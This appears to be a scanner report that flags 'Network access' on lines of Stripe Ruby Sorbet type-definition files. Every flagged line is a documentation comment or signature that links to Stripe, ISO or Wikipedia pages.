class LineItem < ::Stripe::StripeObject # The amount of the line item. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 401
# The amount of the line item. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 415
end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 416
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 417
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 421
sig { returns(T::Array[LineItem]) } def line_items; end # Tax amount for the entire cart. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 422
def line_items; end # Tax amount for the entire cart. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(T.nilable(Integer)) } - Network accessline 423
# Tax amount for the entire cart. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 424
sig { returns(T.nilable(Integer)) } def tax; end # Total amount for the entire cart, including tax. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 425
def tax; end # Total amount for the entire cart, including tax. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 426
# Total amount for the entire cart, including tax. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 522
sig { returns(T.nilable(T.any(String, ::Stripe::Terminal::Location))) } def location; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing addition - Network accessline 523
def location; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 524
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 537
sig { returns(T.nilable(T::Boolean)) } def deleted; end # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven - Network accessline 538
def deleted; end # Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details. - Network accessline 539
# Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details. - Network accessline 545
# Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details. - Network accessline 551
# Initiates an [input collection flow](https://docs.stripe.com/docs/terminal/features/collect-inputs) on a Reader to display input forms and collect information from your customers. - Network accessline 557
# Initiates an [input collection flow](https://docs.stripe.com/docs/terminal/features/collect-inputs) on a Reader to display input forms and collect information from your customers. - Network accessline 563
# Initiates a payment flow on a Reader and updates the PaymentIntent with card details before manual confirmation. See [Collecting a Payment method](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=s - Network accessline 569
# Initiates a payment flow on a Reader and updates the PaymentIntent with card details before manual confirmation. See [Collecting a Payment method](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=s - Network accessline 575
# Finalizes a payment on a Reader. See [Confirming a Payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=inspect#confirm-the-paymentintent) for more details. - Network accessline 581
# Finalizes a payment on a Reader. See [Confirming a Payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=inspect#confirm-the-paymentintent) for more details. - Network accessline 611
# Initiates a payment flow on a Reader. See [process the payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=immediately#process-payment) for more details. - Network accessline 617
# Initiates a payment flow on a Reader. See [process the payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=immediately#process-payment) for more details. - Network accessline 623
# Initiates a SetupIntent flow on a Reader. See [Save directly without charging](https://docs.stripe.com/docs/terminal/features/saving-payment-details/save-directly) for more details. - Network accessline 629
# Initiates a SetupIntent flow on a Reader. See [Save directly without charging](https://docs.stripe.com/docs/terminal/features/saving-payment-details/save-directly) for more details. - Network accessline 635
# Initiates an in-person refund on a Reader. See [Refund an Interac Payment](https://docs.stripe.com/docs/terminal/payments/regional?integration-country=CA#refund-an-interac-payment) for more details. - Network accessline 641
# Initiates an in-person refund on a Reader. See [Refund an Interac Payment](https://docs.stripe.com/docs/terminal/payments/regional?integration-country=CA#refund-an-interac-payment) for more details. - Network accessline 647
# Sets the reader display to show [cart details](https://docs.stripe.com/docs/terminal/features/display). - Network accessline 653
# Sets the reader display to show [cart details](https://docs.stripe.com/docs/terminal/features/display).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/token.rbi
- Network accessline 8
# your customers in a secure manner. A token representing this information is # returned to your server to use. Use our # [recommended payments integrations](https://docs.stripe.com/payments) to perform this process - Network accessline 9
# returned to your server to use. Use our # [recommended payments integrations](https://docs.stripe.com/payments) to perform this process # on the client-side. This guarantees that no sensitive card data touches your server, - Network accessline 10
# [recommended payments integrations](https://docs.stripe.com/payments) to perform this process - Network accessline 20
# # You can't store or use tokens more than once. To store card or bank account # information for later use, create [Customer](https://docs.stripe.com/api#customers) - Network accessline 21
# You can't store or use tokens more than once. To store card or bank account # information for later use, create [Customer](https://docs.stripe.com/api#customers) # objects or [External accounts](https://docs.stripe.com/api#external_ac - Network accessline 22
# information for later use, create [Customer](https://docs.stripe.com/api#customers) - Network accessline 23
# objects or [External accounts](https://docs.stripe.com/api#external_accounts). - Network accessline 24
# [Radar](https://docs.stripe.com/radar), our integrated solution for automatic fraud protection, - Network accessline 38
# transfer to those cards later. # # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards) - Network accessline 39
# # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards) sig { returns(T.nilable(::Stripe::Card)) } - Network accessline 40
# Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards) - Network accessline 63
def used; end # Creates a single-use token that represents a bank account's details. # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [ - Network accessline 64
# Creates a single-use token that represents a bank account's details. # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account] - Network accessline 65
# You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account](https://docs.stripe.com/api#accounts) where [controller.requirement_collec
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/topup.rbi
- Network accessline 8
# unique, random ID. # # Related guide: [Topping up your platform account](https://docs.stripe.com/connect/top-ups) - Network accessline 9
# # Related guide: [Topping up your platform account](https://docs.stripe.com/connect/top-ups) class Topup < APIResource - Network accessline 10
# Related guide: [Topping up your platform account](https://docs.stripe.com/connect/top-ups) - Network accessline 19
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 20
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 21
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 28
sig { returns(T.nilable(Integer)) } def expected_availability_date; end # Error code explaining reason for top-up failure if available (see [the errors section](https://docs.stripe.com/api#errors) for a list of codes). - Network accessline 29
def expected_availability_date; end # Error code explaining reason for top-up failure if available (see [the errors section](https://docs.stripe.com/api#errors) for a list of codes). sig { returns(T.nilable(String)) } - Network accessline 30
# Error code explaining reason for top-up failure if available (see [the errors section](https://docs.stripe.com/api#errors) for a list of codes). - Network accessline 40
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 41
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Has - Network accessline 42
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/transfer.rbi
- Network accessline 9
# Before April 6, 2017, transfers also represented movement of funds from a # Stripe account to a card or bank account. This behavior has since been split # out into a [Payout](https://api.stripe.com#payout_object) object, with correspo - Network accessline 10
# Stripe account to a card or bank account. This behavior has since been split # out into a [Payout](https://api.stripe.com#payout_object) object, with corresponding payout endpoints. For more # information, read about the - Network accessline 11
# out into a [Payout](https://api.stripe.com#payout_object) object, with corresponding payout endpoints. For more - Network accessline 12
# information, read about the # [transfer/payout split](https://docs.stripe.com/transfer-payout-split). # - Network accessline 13
# [transfer/payout split](https://docs.stripe.com/transfer-payout-split). - Network accessline 14
# # Related guide: [Creating separate charges and transfers](https://docs.stripe.com/connect/separate-charges-and-transfers) class Transfer < APIResource - Network accessline 15
# Related guide: [Creating separate charges and transfers](https://docs.stripe.com/connect/separate-charges-and-transfers) - Network accessline 27
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 28
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 29
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 45
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 46
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Has - Network accessline 47
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 63
sig { returns(T.nilable(String)) } def source_type; end # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) - Network accessline 64
def source_type; end # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details. sig { returns(T.nilab - Network accessline 65
# A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details. - Network accessline 66
sig { returns(T.nilable(String)) } def transfer_group; end # To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to - Network accessline 67
def transfer_group; end # To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to cover the transfer amount, or you'll r - Network accessline 68
# To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to cover the transfer amount, or you'll receive an “Insufficient Fund
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/credit_reversal.rbi
- Network accessline 5
module Stripe module Treasury # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a Cr - Network accessline 6
module Treasury # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal. - Network accessline 7
# You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal. - Network accessline 24
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 25
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 26
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 30
sig { returns(String) } def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe - Network accessline 31
def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses - Network accessline 32
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. - Network accessline 39
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 40
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 41
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/debit_reversal.rbi
- Network accessline 5
module Stripe module Treasury # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a Debit - Network accessline 6
module Treasury # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal. cl - Network accessline 7
# You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal. - Network accessline 35
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 36
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 37
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 41
sig { returns(T.nilable(String)) } def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated u - Network accessline 42
def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses - Network accessline 43
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. - Network accessline 53
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 54
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 55
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/financial_account.rbi
- Network accessline 107
sig { returns(Balance) } def balance; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 108
def balance; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 109
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 129
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 130
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T. - Network accessline 131
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 153
sig { returns(StatusDetails) } def status_details; end # The currencies the FinancialAccount can hold a balance in. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. - Network accessline 154
def status_details; end # The currencies the FinancialAccount can hold a balance in. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. sig { returns(T::Array[String]) } - Network accessline 155
# The currencies the FinancialAccount can hold a balance in. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/inbound_transfer.rbi
- Network accessline 5
module Stripe module Treasury # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) vi - Network accessline 6
module Treasury # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMetho - Network accessline 7
# Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMethod that is owned by y - Network accessline 8
# # Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) class InboundTransfer < APIResource - Network accessline 9
# Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) - Network accessline 37
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 38
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 39
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 49
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 50
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 51
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 94
sig { returns(T.nilable(T.any(String, ::Stripe::Mandate))) } def mandate; end # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelin - Network accessline 95
def mandate; end # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type. sig { returns(String) } - Network accessline 96
# The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type. - Network accessline 149
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 150
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 151
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 161
sig { returns(String) } def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe - Network accessline 162
def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses - Network accessline 163
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. - Network accessline 173
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 174
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 175
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/outbound_payment.rbi
- Network accessline 5
module Stripe module Treasury # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https: - Network accessline 6
module Treasury # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com - Network accessline 7
# Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts) - Network accessline 9
# Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using OutboundPayment o - Network accessline 10
# # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) class OutboundPayment < APIResource - Network accessline 11
# Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) - Network accessline 17
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 18
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 19
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 29
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 30
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 31
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 88
sig { returns(T.nilable(T.any(String, ::Stripe::Mandate))) } def mandate; end # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelin - Network accessline 89
def mandate; end # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type. sig { returns(String) } - Network accessline 90
# The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type. - Network accessline 226
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 227
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 228
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 229
sig { returns(String) } def currency; end # ID of the [customer](https://docs.stripe.com/api/customers) to whom an OutboundPayment is sent. - Network accessline 230
def currency; end # ID of the [customer](https://docs.stripe.com/api/customers) to whom an OutboundPayment is sent. sig { returns(T.nilable(String)) } - Network accessline 231
# ID of the [customer](https://docs.stripe.com/api/customers) to whom an OutboundPayment is sent. - Network accessline 250
sig { returns(String) } def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe - Network accessline 251
def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses - Network accessline 252
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. - Network accessline 259
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 260
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 261
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/outbound_transfer.rbi
- Network accessline 5
module Stripe module Treasury # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_acco - Network accessline 6
module Treasury # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a Payme - Network accessline 7
# Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t - Network accessline 9
# Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using OutboundTransfe - Network accessline 10
# # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) class OutboundTransfer < APIResource - Network accessline 11
# Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) - Network accessline 17
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 18
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 19
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 29
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 30
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 31
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 88
sig { returns(T.nilable(T.any(String, ::Stripe::Mandate))) } def mandate; end # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelin - Network accessline 89
def mandate; end # The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type. sig { returns(String) } - Network accessline 90
# The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type. - Network accessline 212
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 213
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 214
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 230
sig { returns(String) } def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe - Network accessline 231
def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses - Network accessline 232
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. - Network accessline 239
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 240
